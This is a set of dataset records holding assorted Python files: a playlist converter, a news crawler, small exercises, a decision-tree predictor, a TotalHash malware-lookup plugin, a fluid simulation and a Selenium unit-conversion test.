re.match(\"^(https://open.spotify.com/playlist/).+$\", playlistURL): #checks valid playlist URL\n            return playlistURL\n        else:\n            print(\"Please input a valid Spotify playlist URL.\")\n\n#Extracts album, artist and track names for each item in a (Spotify) playlist\ndef getInfoFromSpotifyPlaylist(targetPlaylist):\n    playlistItems = []\n\n    #Get the tracks from the specified playlist\n    tracks = spotify.user_playlist_tracks(USERNAME, playlist_id=targetPlaylist[\"id\"])\n    length = tracks[\"total\"] #number of tracks\n    for i in range(length):\n        current = tracks[\"items\"][i][\"track\"] #current track\n        albumName = current[\"album\"][\"name\"] #dict\n        artistName = current[\"album\"][\"artists\"][0][\"name\"] #list\n        trackName = current[\"name\"]\n\n        #Save album, artist and track name for current track, and add to array of tracks\n        playlistItem = [albumName, artistName, trackName]\n        playlistItems.append(playlistItem)\n\n    return playlistItems\n\n#Extracts album, artist and track names for each item in a (Google) playlist\ndef getInfoFromGooglePlaylist(targetPlaylist):\n    trackIDs = {}\n    count = 0\n    #Extract IDs of each track in the playlist\n    for track in targetPlaylist[\"tracks\"]:\n        trackIDs[track[\"trackId\"]] = count\n        count += 1\n    \n    tracksInfo = [None] * count\n    library = api.get_all_songs()\n    #Looks for matching track in Google Play library\n    for track in library:\n        if track[\"id\"] in trackIDs.keys():\n            #Add album, artist and track names to 2D array\n            info = []\n            info.append(track[\"album\"])\n            info.append(track[\"albumArtist\"])\n            info.append(track[\"title\"])\n            print(info)\n            tracksInfo[trackIDs[track[\"id\"]]] = info\n\n    return tracksInfo\n\ndef getInfoFromYtPlaylist(targetPlaylist):\n    trackIDs = {}\n    count = 0\n    #Extract IDs of each track in the playlist\n    for track in targetPlaylist[\"tracks\"]:\n        trackIDs[track[\"videoId\"]] = count\n        count += 1\n\n    tracksInfo = [None] * count\n    library = ytmusic.get_library_upload_songs(100000)\n    #Looks for matching track in Google Play library\n    for track in library:\n        if track[\"videoId\"] in trackIDs.keys():\n            #Add album, artist and track names to 2D array\n            info = []\n            print(track)\n            if not track[\"album\"]:\n                info.append(track[\"title\"])\n            else:\n                info.append(track[\"album\"][\"name\"])\n            info.append(track[\"artist\"][0][\"name\"])\n            info.append(track[\"title\"])\n            print(info)\n            tracksInfo[trackIDs[track[\"videoId\"]]] = info\n\n    return tracksInfo\n\n#Adds a track (array with album, artist and track name) to a Google Play Music playlist with specified ID\ndef addSongsToGooglePlaylistFromInfo(playlist_id, track):\n    #track should be array with 3 elements\n    albumName = track[0]\n    artistName = track[1]\n    trackName = track[2]\n\n    print(albumName + \" - \" + artistName + \" - \" + trackName)\n\n    library = api.get_all_songs()\n    track_ids = []\n\n    #Looks for matching track in Google Play library\n    for track in library:\n        if matchTitle(track[\"album\"], albumName) and matchTitle(track[\"albumArtist\"], artistName) and matchTitle(track[\"title\"], trackName):\n            track_ids.append(track[\"id\"]) #gets track ID\n            api.add_songs_to_playlist(playlist_id, track_ids) #adds track to playlist\n            return True\n    return False #could not find track in library\n\ndef addSongsToYtPlaylistFromInfo(playlist_id, track):\n    #track should be array with 3 elements\n    albumName = track[0]\n    artistName = track[1]\n    trackName = track[2]\n\n    print(albumName + \" - \" + artistName + \" - \" + trackName)\n\n    library = ytmusic.get_library_upload_songs(100000)\n    track_ids = []\n    #Looks for matching track in YouTube Music library\n    for track in library:\n        try:\n            if matchTitle(track[\"album\"][\"name\"], albumName) and matchTitle(track[\"artist\"][0][\"name\"], artistName) and matchTitle(track[\"title\"], trackName):\n                track_ids.append(track[\"videoId\"]) #gets track ID\n                ytmusic.add_playlist_items(playlist_id, track_ids) #adds track to playlist\n                return True\n        except TypeError:\n            continue\n    return False #could not find track in library\n\ndef ytToSpotify():\n    print(\"Please enter the name of the YouTube Music playlist you would like to convert.\")\n    print(\"Note that if multiple playlists exist with the same name, the first one will be selected; rename the playlist to be unique to avoid this.\")\n    playlistName = input(\"| \") #Gets playlist name\n    targetPlaylist = findYtPlaylist(playlistName) #Finds playlist matching inputted name\n\n    if targetPlaylist == None:\n        print(\"No matching playlist found.\")\n    else:\n        print(\"Matching playlist found.\")\n\n        #Get playlist description, if there is one\n        try:\n            playlistDescription = targetPlaylist[\"description\"]\n        except:\n            playlistDescription = \"\"\n\n        #Gets album, artist and track names for the contents of the playlist\n        tracksInfo = getInfoFromYtPlaylist(targetPlaylist)\n\n        print(\"Would you like the Spotify playlist to be public? (y/n)\")\n        choice = input(\"| \")\n        public = False\n        if choice.lower() == \"y\":\n            public = True\n\n        #Create new Spotify playlist\n        spotifyPlaylist = spotify.user_playlist_create(USERNAME, playlistName, public=public, description=playlistDescription)\n\n        spotifyIDs = []\n        failures = []\n\n        #For every track from Youtube to be added\n        print(tracksInfo)\n        for track in tracksInfo:\n            #Check if track exists on Spotify, and get track object if so\n            result = findTrackOnSpotify(track[0], track[1], track[2])\n            if not result: #No matching track found\n                failure = [track[0], track[1], track[2]]\n                failures.append(failure)\n            else:\n                print(track[0] + \" - \" + track[1] + \" - \" + track[2])\n                spotifyIDs.append(result[0][\"id\"]) #Add ID of first matching result\n\n\n        if failures: #output any tracks that could not be found\n            print(\"Certain tracks could not be found on Spotify (these tracks may be unavailable, or have metadata that does not match YouTube's):\")\n            missing_tracks = [\"Missing from original playlist:\"]\n            for failure in failures:\n                track = failure[0] + \" - \" + failure[1] + \" - \" + failure[2]\n                print(track)\n                missing_tracks.append(track)\n\n            new_description = playlistDescription + \" | \".join(missing_tracks)\n            spotify.user_playlist_change_details(USERNAME, spotifyPlaylist[\"id\"], description=new_description[:300]) # 300 character limit\n\n        #Add tracks to Spotify playlist\n\n        n = 100 # max num tracks per request\n        for subset_ids in [spotifyIDs[i:i+n] for i in range(0, len(spotifyIDs), n)]:\n            spotify.user_playlist_add_tracks(USERNAME, spotifyPlaylist[\"id\"], subset_ids)\n        print(\"Playlist converted: https://open.spotify.com/playlist/\" + str(spotifyPlaylist[\"id\"]))\n\ndef spotifyToYt():\n    #Gets Spotify playlist from inputted URL\n    playlistURL = acceptPlaylistURL()\n    targetPlaylist = findSpotifyPlaylist(playlistURL)\n\n    if targetPlaylist == None:\n        print(\"No matching playlist found.\")\n    else:\n        print(\"Matching playlist found.\")\n\n        #Get playlist metadata\n        playlistName = targetPlaylist[\"name\"]\n        try:\n            playlistDescription = targetPlaylist[\"description\"]\n        except:\n            playlistDescription = \"\"\n\n        #Get information on tracks in playlist\n        playlistItems = getInfoFromSpotifyPlaylist(targetPlaylist)\n\n        #Create new YouTube Music playlist\n        playlist_id = ytmusic.create_playlist(title=playlistName, description=playlistDescription)\n        failures = [] #Stores the tracks that could not be found in YouTube Music library\n        for i in playlistItems: #add each track to YouTube Music playlist\n            if not addSongsToYtPlaylistFromInfo(playlist_id, i): #could not find track\n                failures.append(i)\n\n        if failures: #output any tracks that could not be found\n            print(\"Certain tracks could not be found in the YouTube Music library:\")\n            missing_tracks = []\n            for failure in failures:\n                track = failure[0] + \" - \" + failure[1] + \" - \" + failure[2]\n                print(track)\n                missing_tracks.append(track)\n\n            new_description = playlistDescription + \"\\n\" + playlistURL + \"\\nMissing from original playlist:\\n\" + \"\\n\".join(missing_tracks)\n            result = ytmusic.edit_playlist(playlist_id, description=new_description)\n            print(result)\n\n\n#Converts a Spotify playlist to a Google Play Music playlist\ndef spotifyToGoogle():\n    #Gets Spotify playlist from inputted URL\n    playlistURL = acceptPlaylistURL()\n    targetPlaylist = findSpotifyPlaylist(playlistURL)\n\n    if targetPlaylist == None:\n        print(\"No matching playlist found.\")\n    else:\n        print(\"Matching playlist found.\")\n\n        #Get playlist metadata\n        playlistName = targetPlaylist[\"name\"]\n        try:\n            playlistDescription = targetPlaylist[\"description\"]\n        except:\n            playlistDescription = \"\"\n\n        #Get information on tracks in playlist\n        playlistItems = getInfoFromSpotifyPlaylist(targetPlaylist)\n\n        #Create new Google Play playlist\n        playlist_id = api.create_playlist(name=playlistName, description=playlistDescription)\n        failures = [] #Stores the tracks that could not be found in Google Play library\n        for i in playlistItems: #add each track to Google Play playlist\n            if not addSongsToGooglePlaylistFromInfo(playlist_id, i): #could not find track\n                failures.append(i)\n\n        if failures: #output any tracks that could not be found\n            print(\"Certain tracks could not be found in the Google Play library:\")\n            missing_tracks = []\n            for failure in failures:\n                track = failure[0] + \" - \" + failure[1] + \" - \" + failure[2]\n                print(track)\n                missing_tracks.append(track)\n\n            new_description = playlistDescription + \"\\n\" + playlistURL + \"\\nMissing from original playlist:\\n\" + \"\\n\".join(missing_tracks)\n            api.edit_playlist(playlist_id, new_description=new_description)\n\n\n#Converts a Google Play Music playlist to a Spotify playlist\ndef googleToSpotify():\n    print(\"Please enter the name of the Google Play Music playlist you would like to convert.\")\n    print(\"Note that if multiple playlists exist with the same name, the first one will be selected; rename the playlist to be unique to avoid this.\")\n    playlistName = input(\"| \") #Gets playlist name\n    targetPlaylist = findGooglePlaylist(playlistName) #Finds playlist matching inputted name\n\n    if targetPlaylist == None:\n        print(\"No matching playlist found.\")\n    else:\n        print(\"Matching playlist found.\")\n\n        #Get playlist description, if there is one\n        try:\n            playlistDescription = targetPlaylist[\"description\"]\n        except:\n            playlistDescription = \"\"\n\n        #Gets album, artist and track names for the contents of the playlist\n        tracksInfo = getInfoFromGooglePlaylist(targetPlaylist)\n\n        print(\"Would you like the Spotify playlist to be public? (y/n)\")\n        choice = input(\"| \")\n        public = False\n        if choice.lower() == \"y\":\n            public = True\n\n        #Create new Spotify playlist\n        spotifyPlaylist = spotify.user_playlist_create(USERNAME, playlistName, public=public, description=playlistDescription)\n\n        spotifyIDs = []\n        failures = []\n\n        #For every track from Google to be added\n        for track in tracksInfo:\n            #Check if track exists on Spotify, and get track object if so\n            result = findTrackOnSpotify(track[0], track[1], track[2])\n            if not result: #No matching track found\n                failure = [track[0], track[1], track[2]]\n                failures.append(failure)\n            else:\n                print(track[0] + \" - \" + track[1] + \" - \" + track[2])\n                spotifyIDs.append(result[0][\"id\"]) #Add ID of first matching result\n        \n\n        if failures: #output any tracks that could not be found\n            print(\"Certain tracks could not be found on Spotify (these tracks may be unavailable, or have metadata that does not match Google's):\")\n            missing_tracks = [\"Missing from original playlist:\"]\n            for failure in failures:\n                track = failure[0] + \" - \" + failure[1] + \" - \" + failure[2]\n                print(track)\n                missing_tracks.append(track)\n\n            new_description = playlistDescription + \" | \".join(missing_tracks)\n            spotify.user_playlist_change_details(USERNAME, spotifyPlaylist[\"id\"], description=new_description[:300]) # 300 character limit\n        \n        #Add tracks to Spotify playlist\n        spotify.user_playlist_add_tracks(USERNAME, spotifyPlaylist[\"id\"], spotifyIDs)\n        print(\"Playlist converted: https://open.spotify.com/playlist/\" + str(spotifyPlaylist[\"id\"]))\n\n\n#If Spotify successfully authenticated\nif token:\n    spotify = spotipy.Spotify(auth=token)\n\n    #Menu loop\n    con = True\n    while con:\n        print(\"What would you like to do?\")\n        print(\"(1) Convert Spotify playlist to Google Play Music\")\n        print(\"(2) Convert Google Play Music playlist to Spotify\")\n        print(\"(3) Convert Spotify playlist to YouTube Music\")\n        print(\"(4) Convert YouTube Music playlist to Spotify\")\n        print(\"(5) Exit\")\n        choice = input(\"| \")\n\n        if choice == \"5\": #Exit\n            con = False\n        elif choice == \"4\":\n            ytToSpotify()\n        elif choice == \"3\":\n            spotifyToYt()\n        elif choice == \"2\":\n            googleToSpotify()\n        elif choice == \"1\":\n            spotifyToGoogle()\n        else:\n            print(\"Invalid response, please enter 1, 2, or 3 to choose an option.\")\n    print(\"Exiting...\")\nelse:\n    print(\"Spotify authentication error.\")\n    quit()\n","sub_path":"playlist.py","file_name":"playlist.py","file_ext":"py","file_size_in_byte":21863,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"4676460","text":"import requests\nfrom bs4 import BeautifulSoup\nfrom datetime import date\n\ntoday = date.today()\ntoday = today.strftime(\"%Y-%m-%d\")\n\n\ndef crawl_ithome():\n    re = []\n    for p in range(1):\n\n        r = requests.get(\"https://www.ithome.com.tw/news?page=%s\"%p)\n        soup = BeautifulSoup(r.text, \"html5lib\")\n        select_item = soup.select('div.item')\n        for i in select_item:\n            select_title = i.select('p.title')\n            select_url = i.select('p.title > a')\n            select_day = i.select('p.post-at')\n            select_img = i.select('p.photo > a > img ')\n\n            title = select_title[0].text\n            url = 'https://www.ithome.com.tw'+select_url[0].get('href')\n            day = select_day[0].text.strip(' ')\n            img = select_img[0].get('src')\n\n            if day == today:\n                re.append((title[:40], url, day, img))    # title只能40個字\n    return re","sub_path":"crawl_ithome.py","file_name":"crawl_ithome.py","file_ext":"py","file_size_in_byte":908,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"197529862","text":"import random\r\n\r\ndef sumUntilEven(lst):\r\n    sum = 0\r\n    new_list = []\r\n    for i in lst:\r\n        if i % 2 == 0:\r\n            break\r\n        new_list.append(i)\r\n    print(new_list)\r\n    for i in new_list:\r\n        sum += i\r\n    return sum\r\n\r\nlst = []\r\nfor i in range(100):\r\n    lst.append(random.randint(0,1000))\r\nprint(lst)\r\n\r\nprint(sumUntilEven(lst))\r\n","sub_path":"Implementing_python_functions/max_number.py","file_name":"max_number.py","file_ext":"py","file_size_in_byte":356,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"648935088","text":"print(__doc__)\n\nimport csv\nimport os\nimport sys\n\nimport pandas as pd\nfrom sklearn.externals import joblib\nfrom sklearn.feature_extraction import DictVectorizer\n\n\n# main 方法 传入参数\ndef main():\n    print('参数个数为:', len(sys.argv), '个参数。')\n    print('参数列表:', str(sys.argv))\n    print('脚本名为：', sys.argv[0])\n    for i in range(1, len(sys.argv)):\n        print('参数 %s 为：%s' % (i, sys.argv[i]))\n    dict = createDict(sys.argv)\n    createDataSet(dict)\n\n\n# 创建参数生成字典\ndef createDict(args):\n    dict = {};\n    dict['model_file_path'] = args[1];\n    dict['in_file_path'] = args[2];\n    dict['out_file_path'] = args[3];\n    return dict\n\n\ndef createDataSet(dict):\n    # X_pred = pd.read_csv(dict['in_file_path'])\n\n    # headers = X_pred.values.tolist()\n\n    # print(\"headers\\n\",headers)\n    # feature = X_pred[headers[:len(headers)]]\n    '''\n    vec = DictVectorizer()\n    dummyX = vec.fit_transform(feature.to_dict(orient='record'))\n    print('show vector name\\n',vec.get_feature_names())\n    clf = joblib.load(dict['model_file_path'])\n    '''\n    allElectronicsData = open(dict['in_file_path'])\n    reader = csv.reader(allElectronicsData)\n    headers = next(reader)\n\n    print(\"headers\\n\", headers)\n    featureList = []\n    for row in [rows for rows in reader]:\n        rowDict = {}\n        for i in range(0, len(row)):\n            rowDict[headers[i]] = row[i]\n        featureList.append(rowDict)\n\n    clf = joblib.load(dict['model_file_path'])\n\n    vec = DictVectorizer()\n    dummyX = vec.fit_transform(featureList).toarray()\n\n    y_predict = clf.predict(dummyX)\n    y_predict_proba = clf.predict_proba(dummyX)\n\n    print(y_predict)\n    print(y_predict_proba)\n    y_predict_proba_List = []\n    for i in range(0, len(y_predict_proba)):\n        y_predict_proba_List.append(str(clf.classes_) + str(y_predict_proba[i]))\n    X_pred = pd.read_csv(dict['in_file_path'])\n    X_pred['y_predict'] = y_predict\n    X_pred['y_predict_proba'] = y_predict_proba_List\n\n    out_path = dict['out_file_path']\n    out_parent_path = os.path.split(out_path)[0]\n\n    if not os.path.exists(out_parent_path):\n        os.makedirs(out_parent_path)\n    X_pred.to_csv(out_path, index=0)\n\n\nif __name__ == \"__main__\":\n    main()\n","sub_path":"nm/DecisionTree/DecisionTree_prediction.py","file_name":"DecisionTree_prediction.py","file_ext":"py","file_size_in_byte":2253,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"229466008","text":"'''\nЗадание # 5\nРеализовать структуру « Рейтинг », представляющую собой не возрастающий набор\nнатуральных чисел. У пользователя необходимо запрашивать новый элемент рейтинга. Если\nв рейтинге существуют элементы с одинаковыми значениями, то новый элемент с тем же\nзначением должен разместиться после них.\nПодсказка. Например, набор натуральных чисел: 7, 5, 3, 3, 2.\nПользователь ввел число 3. Результат: 7, 5, 3, 3, 3 , 2.\nПользователь ввел число 8. Результат: 8 , 7, 5, 3, 3, 2.\nПользователь ввел число 1. Результат: 7, 5, 3, 3, 2, 1 .\nНабор натуральных чисел можно задать непосредственно в коде, например, my_list = [7, 5, 3, 3, 2].\n'''\n\n# Для первого способа понадосится прикольная функция reduce, а для этого нужно подключить модуль functools\nfrom functools import reduce\n\nmy_list = [7, 5, 3, 3, 2]\nmy_list.sort(reverse = True)\n\nprint(f'Исходый список: {my_list}')\n\nprint('Введите пожалуйста натуральное число (для выхода просто нажмите Enter)')\nwhile True:\n    str_var = input('(Для выхода просто нажмите Enter) -->')\n    if str_var == '':\n        break\n\n    # Проверки на корректность введенной информации\n    try:\n        int_var = int(str_var)\n    except ValueError:\n        int_var = 0\n\n    if int_var < 1:\n        print('С точки зрения математики то что Вы ввели не является натуральным числом. Попробуйте еще раз. У вас получится...')\n        continue\n\n    # Cобственно, алгоритм решения самой задачи\n\n    my_list = [x for x in my_list if x >= int_var] + [int_var] + [x for x in my_list if x < int_var]\n\n    print(f'{my_list}')\n\n    # Подготовка к следующиему шагу ввода и обработки информации\n    print('\\n')\n\n'''\nНе мог не описать другие варианты, которые я попробовал, проверил, проработал. \nНо не стал включать в основной код по просьбе преподавателя.\n\nА они все мне показались интересными. Поэтому напишу их в комментарии.\nЧтобы доказать, что в теме разобрался.\nИ, кстати говоря, получил очень-очень-очень много удовольствия.\n\n# Второй вариант\n\n    from functools import reduce\n    my_list = [1] + my_list\n    target_pos = reduce(lambda x, y: x + (0, 1)[y >= int_var], my_list)\n    my_list.insert(target_pos, int_var)\n    my_list.pop(0)\n\n# Третий вариант\n\n    # Получим список вида [False, False, False, False, TRUE, True, True] Перед TRUE и нужно вставить значение\n    bin_list = list(map(lambda x: x < int_var, my_list))\n    try:\n        target_pos = bin_list.index(True)\n    except ValueError:\n        target_pos = len(my_list)\n    my_list.insert(target_pos, int_var)\n'''","sub_path":"I четверть/Основы языка Python (Вебинар)/Lesson-2/hw_2_5.py","file_name":"hw_2_5.py","file_ext":"py","file_size_in_byte":3636,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"278916247","text":"# didn't finish\n\nT = int(input())\nfor i in range(T):\n    s = str(input())\n    idx = 0\n    seen1 = False\n    seen2 = False\n    seen3 = False\n    leng = 0\n    count = 1000000\n    def isvalid(idx):\n        return s[idx] == '1' or s[idx] == '2' or s[idx] == '3'\n    while not(isvalid(idx)):\n        idx += 1\n    # got to start of string\n    # want to also ignore invalid chars at the end of the string\n    while idx < len(s) and not(isvalid(idx)):\n        curr = s[idx]\n        if not(seen1) and curr == '1':\n            seen1 = True\n            leng += 1\n        elif not(seen2) and curr == '2':\n            seen1 = True\n            leng += 1\n        elif not(seen3) and curr == '3':\n            seen1 = True\n            leng += 1\n        if seen1 and seen2 and seen3:\n            if (leng < count and leng >= 3):\n                count = leng\n            else:\n                leng = 0\n                seen1 = False\n                seen2 = False\n                seen3 = False\n        idx += 1\n\n    print(f'{count}')\n","sub_path":"Codeforces Problems/1354B/s.py","file_name":"s.py","file_ext":"py","file_size_in_byte":1013,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"42232402","text":"from utils.BinaryTree import *\n\n\nclass Solution:\n    def insertIntoBST(self, root: TreeNode, val: int) -> TreeNode:\n        p = root\n        while p:\n            if val > p.val:\n                if p.right:\n                    p = p.right\n                else:\n                    p.right = TreeNode(val)\n                    break\n            elif val < p.val:\n                if p.left:\n                    p = p.left\n                else:\n                    p.left = TreeNode(val)\n                    break\n        return root\n\n\n\ntree = Tree([4, 2, 7, 1, 3])\nTree.printTree(tree.root)\nTree.printTree(Solution().insertIntoBST(tree.root, 5))\n","sub_path":"vol 7/701 Recursive Review.py","file_name":"701 Recursive Review.py","file_ext":"py","file_size_in_byte":642,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"324052780","text":"#   Copyright 2014-2015 PUNCH Cyber Analytics Group\n#\n#   Licensed under the Apache License, Version 2.0 (the \"License\");\n#   you may not use this file except in compliance with the License.\n#   You may obtain a copy of the License at\n#\n#       http://www.apache.org/licenses/LICENSE-2.0\n#\n#   Unless required by applicable law or agreed to in writing, software\n#   distributed under the License is distributed on an \"AS IS\" BASIS,\n#   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n#   See the License for the specific language governing permissions and\n#   limitations under the License.\n\n\"\"\"\nOverview\n========\n\nQuery TotalHash API for analysis results\n\n\"\"\"\n\nimport hmac\nimport hashlib\nimport argparse\nimport xmltodict\n\nfrom requests.exceptions import HTTPError\n\nfrom stoq.args import StoqArgs\nfrom stoq.plugins import StoqWorkerPlugin\n\n\nclass TotalHashScan(StoqWorkerPlugin):\n\n    def __init__(self):\n        super().__init__()\n\n    def activate(self, stoq):\n        self.stoq = stoq\n\n        parser = argparse.ArgumentParser()\n        parser = StoqArgs(parser)\n\n        worker_opts = parser.add_argument_group(\"Plugin Options\")\n        worker_opts.add_argument(\"-a\", \"--apikey\",\n                                 dest='apikey',\n                                 help=\"TotalHash API Key\")\n        worker_opts.add_argument(\"-s\", \"--sha1\",\n                                 dest='analysis_hash',\n                                 default=False,\n                                 help=\"Retrieve analysis from TotalHash for a SHA1 hash\")\n\n        options = parser.parse_args(self.stoq.argv[2:])\n\n        super().activate(options=options)\n\n        return True\n\n    def scan(self, payload, **kwargs):\n        \"\"\"\n        Query the TotalHash API\n\n        :param None payload: Unused\n        :param **kwargs analysis: Query for an analysis of the value provided\n        :param **kwargs search: Search for value provided\n\n        :returns: Results from scan\n        :rtype: dict or None\n\n        \"\"\"\n        results = None\n        query_type = None\n        query = None\n\n        if 'analysis' in kwargs:\n            query_type = \"analysis\"\n            query = kwargs[query_type]\n        elif 'search' in kwargs:\n            query_type = \"search\"\n            query = kwargs[query_type]\n        elif self.analysis_hash:\n            query_type = \"analysis\"\n            query = self.analysis_hash\n        elif 'sha1' in kwargs:\n            query_type = \"analysis\"\n            query = kwargs['sha1']\n\n        if query_type:\n            results = self.query(query_type, query)\n\n        super().scan()\n\n        return results\n\n    def query(self, query_type, value):\n        sig = self.generate_signature(value)\n\n        url = \"{}/{}/{}&id={}&sign={}\".format(self.url, query_type, value,\n                                              self.username, sig)\n\n        try:\n            response = self.stoq.get_file(url, verify=False)\n        except HTTPError:\n            return {'result': 0}\n\n        results = xmltodict.parse(response)\n\n        try:\n            results['query'] = value\n            return results\n        except TypeError:\n            return None\n\n    def generate_signature(self, value):\n        return hmac.new(self.apikey.encode(), value.encode(), hashlib.sha256).hexdigest()\n","sub_path":"worker/totalhash/totalhash/totalhash.py","file_name":"totalhash.py","file_ext":"py","file_size_in_byte":3301,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"322894999","text":"\n##############################################################################\n#\n# Copyright (c) 2003-2018 by The University of Queensland\n# http://www.uq.edu.au\n#\n# Primary Business: Queensland, Australia\n# Licensed under the Apache License, version 2.0\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Development until 2012 by Earth Systems Science Computational Center (ESSCC)\n# Development 2012-2013 by School of Earth Sciences\n# Development from 2014 by Centre for Geoscience Computing (GeoComp)\n#\n##############################################################################\n\nfrom __future__ import print_function, division\n\n__copyright__=\"\"\"Copyright (c) 2003-2018 by The University of Queensland\nhttp://www.uq.edu.au\nPrimary Business: Queensland, Australia\"\"\"\n__license__=\"\"\"Licensed under the Apache License, version 2.0\nhttp://www.apache.org/licenses/LICENSE-2.0\"\"\"\n__url__=\"https://launchpad.net/escript-finley\"\n\nfrom esys.escript import *\nfrom esys.escript.models import StokesProblemCartesian\nfrom esys.dudley import Rectangle\nfrom esys.weipa import saveVTK\n\n\n#physical properties\nrho1 = 1000             #fluid density on bottom\nrho2 = 1010             #fluid density on top\neta1 = 100.0            #fluid viscosity on bottom\neta2 = 100.0            #fluid viscosity on top\ng=10.0\n\n#solver settings\ndt = 0.001\nt_step = 0\nt_step_end = 2000\nTOL = 1.0e-5\nmax_iter=400\nverbose=True\nuseUzawa=True\n\n#define mesh\nl0=0.9142\nl1=1.0\nn0=200      \nn1=200\n\nmesh=Rectangle(l0=l0, l1=l1, order=2, n0=n0, n1=n1)\n#get mesh dimensions\nnumDim = mesh.getDim()\n#get element size\nh = Lsup(mesh.getSize())\n\n#level set parameters\ntolerance = 1.0e-6\nreinit_max = 30\nreinit_each = 3\nalpha = 1\nsmooth = alpha*h \n\n#boundary conditions\nx = mesh.getX()\n#left + bottom + right + top\nb_c = whereZero(x[0])*[1.0,0.0] + whereZero(x[1])*[1.0,1.0] + whereZero(x[0]-l0)*[1.0,0.0] + whereZero(x[1]-l1)*[1.0,1.0]\n\nvelocity = Vector(0.0, ContinuousFunction(mesh))\npressure = Scalar(0.0, ContinuousFunction(mesh))\nY = Vector(0.0,Function(mesh))\n\n#define initial interface between fluids\nxx = mesh.getX()[0]\nyy = mesh.getX()[1]\nfunc = Scalar(0.0, ContinuousFunction(mesh))\nh_interface = Scalar(0.0, ContinuousFunction(mesh))\nh_interface = h_interface + (0.02*cos(math.pi*xx/l0) + 0.2)\nfunc = yy - h_interface\nfunc_new = func.interpolate(ReducedSolution(mesh))\n\n#Stokes Cartesian\nsolution=StokesProblemCartesian(mesh,debug=True)\nsolution.setTolerance(TOL)\n\n#level set\nlevelset = LevelSet(mesh, func_new, reinit_max, reinit_each, tolerance, smooth)    \n\nwhile t_step <= t_step_end:\n  #update density and viscosity\n  rho = levelset.update_parameter(rho1, rho2)\n  eta = levelset.update_parameter(eta1, eta2)\n\n  #get velocity and pressure of fluid\n  Y[1] = -rho*g\n  solution.initialize(fixed_u_mask=b_c,eta=eta,f=Y)\n  velocity,pressure=solution.solve(velocity,pressure,max_iter=max_iter,verbose=verbose,useUzawa=useUzawa)\n  \n  #update the interface\n  func = levelset.update_phi(velocity, dt, t_step)  \n\n  print(\"##########################################################\")\n  print(\"time step:\", t_step, \" completed with dt:\", dt)\n  print(\"Velocity: min =\", inf(velocity), \"max =\", Lsup(velocity))\n  print(\"##########################################################\")\n \n  #save interface, velocity and pressure \n  saveVTK(\"phi2D.%2.4i.vtu\"%t_step,interface=func,velocity=velocity,pressure=pressure)\n  #courant condition\n  dt = 0.4*Lsup(mesh.getSize())/Lsup(velocity)\n  t_step += 1\n","sub_path":"dudley/test/python/RT2D.py","file_name":"RT2D.py","file_ext":"py","file_size_in_byte":3450,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"302452854","text":"\"\"\"Tests of behavior related to measurements (metric or US).\n\"\"\"\nimport time\nfrom selenium.webdriver.common.by import By\n\nfrom stars.apps.registration.utils import init_submissionset\nfrom stars.apps.test_utils.live_server import StarsLiveServerTest\n\n\nclass MeasurementLiveServerTest(StarsLiveServerTest):\n\n    fixtures = ['basic_creditset.json']\n    # the fixture used to be creditset_v2.json, but it had integrity issues\n    # when loading\n\n    def setUp(self, *args, **kwargs):\n        super(MeasurementLiveServerTest, self).setUp(*args, **kwargs)\n        time.sleep(1)\n        init_submissionset(self.institution, self.user)\n        self.go_to_reporting_tool()\n\n    def test_for_cache_bug(self):\n        \"\"\"If the view through which users edit credit fields is\n        cached, a serious bug can be triggered by the following\n        behavior.\n\n          - Pull up a credit with a NumericSubmission field representing\n            acres.\n          - Enter X.\n          - Go to the Settings view.\n          - Click the checkbox to indicate your preference for metric,\n            then click the Save button.\n          - Pull up that same credit.\n          - The X acres should display as Y hectares, though\n            if the view is cached, X acres are still shown.  If the user\n            saves the credit at this point, the X is treated as X\n            hectares.  Since we store quantities in their US measure,\n            we'd convert X (presumably hectares) into Z acres.  *Then*,\n            the next time we pull up that credit, Z acres are converted\n            into ZZ hectares, ZZ being a confusing and incorrect number,\n            a real numberwang (and a fractionally imaginary wangernumb!).\n        \"\"\"\n        # Go to submission:\n        my_submission_link = self.patiently_find(look_for='My Submission',\n                                                 by=By.LINK_TEXT)\n        my_submission_link.click()\n\n        # Pull up credit:\n        ic_2_link = self.patiently_find(\n            look_for='IC-2: Operational Characteristics',\n            by=By.LINK_TEXT)\n        ic_2_link.click()\n\n        # Enter 200 acres:\n        input_element = self.get_text_input_element(\n            'NumericSubmission_2-value')\n        input_element.send_keys(\"200\")\n\n        # Save:\n        save_in_progress_button = self.get_button_with_text('In progress')\n        save_in_progress_button.click()\n\n        # Go to settings:\n        time.sleep(1)\n        settings_link = self.patiently_find(look_for='Settings',\n                                            by=By.LINK_TEXT)\n        settings_link.click()\n\n        # Use metric system!\n        use_metric_checkbox = self.patiently_find(\n            look_for='id_prefers_metric_system',\n            by=By.ID)\n        use_metric_checkbox.click()\n\n        # Save:\n        save_button = self.get_button_with_text('Save')\n        save_button.click()\n\n        # Back to the submission . . .\n        my_submission_link = self.patiently_find(look_for='My Submission',\n                                                 by=By.LINK_TEXT)\n        my_submission_link.click()\n\n        # . . . and back to the credit:\n        ic_2_link = self.patiently_find(\n            look_for='IC-2: Operational Characteristics',\n            by=By.LINK_TEXT)\n        ic_2_link.click()\n\n        # What were 200 acres should now be ~81 hectares:\n        input_element = self.get_text_input_element(\n            'NumericSubmission_2-metric_value')\n        page_says = input_element.get_attribute('value')\n\n        self.assertEqual(page_says, '80.9372')\n","sub_path":"stars/apps/tool/my_submission/tests/test_measurement.py","file_name":"test_measurement.py","file_ext":"py","file_size_in_byte":3567,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
